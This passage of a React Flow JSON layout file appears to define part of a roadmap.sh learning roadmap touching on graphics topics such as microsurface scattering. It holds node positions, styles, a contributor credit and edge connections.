271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YrQgfjsdLCIUxrwflpEHO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2194.4742913383143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Microsurface Scattering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.8887487177324,\n        \"y\": 2194.4742913383143\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FbfHP9hFBuISrGzKaX-qm\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -520.8639110926986,\n        \"y\": -233.1028359109968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shout out to Chris Ohk who helped make the initial version of this roadmap.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 348,\n      \"height\": 148,\n      \"style\": {\n        \"width\": 348,\n        \"height\": 148\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -520.8639110926986,\n        \"y\": -233.1028359109968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 348,\n        \"height\": 148\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -505.86391109269846,\n        \"y\": -152.09530466580176\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit his GitHub\",\n        \"href\": \"https://github.com/utilForever\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#dedede\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -505.86391109269846,\n        \"y\": -152.09530466580176\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 158,\n      \"height\": 49,\n      \"id\": \"dlGf3ZdFXYx0Z6Viu2x-l\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 8.768049624459138,\n        \"y\": 2303.3819660369822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Design\",\n        \"href\": \"https://roadmap.sh/api-design\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"gC8lsIdYLRzo3HzwVqtm1\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 8.768049624459138,\n        \"y\": 2303.3819660369822\n      },\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3in61wmgTAqq7nSJm00p-\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 441.84147172248663,\n        \"y\": -40.82399710033968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 441.84147172248663,\n        \"y\": -40.82399710033968\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SIvQYH0q1H29NgbtLq3L8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3bz2-SIvQYH0q1H29NgbtLq3L8y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3bx2-m1wX27XBWKXZcTMH2U1xpw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-rQArtuVKGVgLn_fw9yO3bw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YTkOF_33oL1ZkA-loc_DP\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpx2-YTkOF_33oL1ZkA-loc_DPw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"grRf-MmaXimDB4iODOV47\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpy2-grRf-MmaXimDB4iODOV47z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Kg6Mg9ieUUGXWX9Lai7B0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpy2-Kg6Mg9ieUUGXWX9Lai7B0z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XABzEU9owCx9-zw1id9xU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpy2-XABzEU9owCx9-zw1id9xUz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"r5TcXQsU9s4NlAQIPvZ3U\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpy2-r5TcXQsU9s4NlAQIPvZ3Uz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SkCreb6g4i-OFtJWhRYqO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpy2-SkCreb6g4i-OFtJWhRYqOz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"iIWEjpkNFBj4R5wQ0mcWY\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpy2-iIWEjpkNFBj4R5wQ0mcWYz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UTBnrQiZ6Bf96yJYIUf3b\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-m1wX27XBWKXZcTMH2U1xpz2-4YgbrXLXf5mfaL2tlYkzky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SuemqQuiePab0Qpm2EGy9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vmRYaXNVCe0N73xG8bsEK\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SuemqQuiePab0Qpm2EGy9y2-vmRYaXNVCe0N73xG8bsEKz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vmRYaXNVCe0N73xG8bsEK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kSMz7mZ243qMKtT_YD3AD\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vmRYaXNVCe0N73xG8bsEKy2-kSMz7mZ243qMKtT_YD3ADz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vmRYaXNVCe0N73xG8bsEK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lwd3Gz9bJEKCIwhXD6m-v\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vmRYaXNVCe0N73xG8bsEKy2-lwd3Gz9bJEKCIwhXD6m-vz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vmRYaXNVCe0N73xG8bsEK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vWLKYK2KUzV1fO-vQunzW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vmRYaXNVCe0N73xG8bsEKy2-vWLKYK2KUzV1fO-vQunzWz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SuemqQuiePab0Qpm2EGy9\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YLusnwCba7BIdKOYUoY6F\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SuemqQuiePab0Qpm2EGy9y2-YLusnwCba7BIdKOYUoY6Fz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pG_V12qhS4HevoP_KHTvh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jixffcPBELkhoG0e7Te8g\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-pG_V12qhS4HevoP_KHTvhy2-jixffcPBELkhoG0e7Te8gz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jslk7Gy58VspO1uXGDgBp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"bgP9NpD0DJGqN4VCt65xP\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-jslk7Gy58VspO1uXGDgBpy2-bgP9NpD0DJGqN4VCt65xPz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YLusnwCba7BIdKOYUoY6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"pG_V12qhS4HevoP_KHTvh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLusnwCba7BIdKOYUoY6Fx2-pG_V12qhS4HevoP_KHTvhw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AKd2UpITqBZV7cZszSRps\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PLR_4yoRifoTzkOR4c7ym\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-AKd2UpITqBZV7cZszSRpsx2-PLR_4yoRifoTzkOR4c7ymw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PLR_4yoRifoTzkOR4c7ym\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aTeYGd4JlPr5txNPyBezn\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-PLR_4yoRifoTzkOR4c7ymy2-aTeYGd4JlPr5txNPyBeznz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fk3XSINBr2NNdbMtwsIK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"STdvFYM9V0a36IkPXjvrB\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fk3XSINBr2NNdbMtwsIKy2-STdvFYM9V0a36IkPXjvrBz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fk3XSINBr2NNdbMtwsIK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"FCc5xwb_G3VsDRXOcg3hV\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fk3XSINBr2NNdbMtwsIKy2-FCc5xwb_G3VsDRXOcg3hVz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FCc5xwb_G3VsDRXOcg3hV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XHFV4d6Ab4kWQ3-XcZTyT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-FCc5xwb_G3VsDRXOcg3hVy2-XHFV4d6Ab4kWQ3-XcZTyTz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UTBnrQiZ6Bf96yJYIUf3b\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fv5tivGad2P9GRZOodfn2\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-UTBnrQiZ6Bf96yJYIUf3by2-4YgbrXLXf5mfaL2tlYkzkz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fv5tivGad2P9GRZOodfn2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"rNeOti8DDyWTMP9FB9kJ_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4YgbrXLXf5mfaL2tlYkzky2-rNeOti8DDyWTMP9FB9kJ_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fv5tivGad2P9GRZOodfn2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"a6H-cZtp3A_fB8jnfMxBR\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4YgbrXLXf5mfaL2tlYkzky2-a6H-cZtp3A_fB8jnfMxBRz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fv5tivGad2P9GRZOodfn2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CeAUEN233L4IoFSZtIvvl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4YgbrXLXf5mfaL2tlYkzky2-CeAUEN233L4IoFSZtIvvlz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fv5tivGad2P9GRZOodfn2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7OffO2mBmfBKqPBTZ9ngI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4YgbrXLXf5mfaL2tlYkzky2-7OffO2mBmfBKqPBTZ9ngIz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UTBnrQiZ6Bf96yJYIUf3b\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AdOfOJtLtNgDwuABb6orE\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-UTBnrQiZ6Bf96yJYIUf3bx2-AdOfOJtLtNgDwuABb6orEw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4YgbrXLXf5mfaL2tlYkzk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jsq0UXnIIC0Z_nbK2w48f\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4YgbrXLXf5mfaL2tlYkzky2-jsq0UXnIIC0Z_nbK2w48fz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"THMmnx8p_P0X-dSPoHvst\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iBZ1JsEWI0xuLgUvfWfl-\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-THMmnx8p_P0X-dSPoHvstx2-iBZ1JsEWI0xuLgUvfWfl-w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lIb5MeDoqVj6HycveOgTS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JW5c_0JEtO-OiBoXUia6A\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbty2-JW5c_0JEtO-OiBoXUia6Az1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lIb5MeDoqVj6HycveOgTS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vYNj9nzu90e9xlrzHULnP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbty2-vYNj9nzu90e9xlrzHULnPz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lIb5MeDoqVj6HycveOgTS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"shSRnMf4NONuZ3TGPAoQc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CDYszS1U4v95GozB_drbty2-shSRnMf4NONuZ3TGPAoQcz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lIb5MeDoqVj6HycveOgTS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"rmtxybcavWV6A53R4ZWgc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": 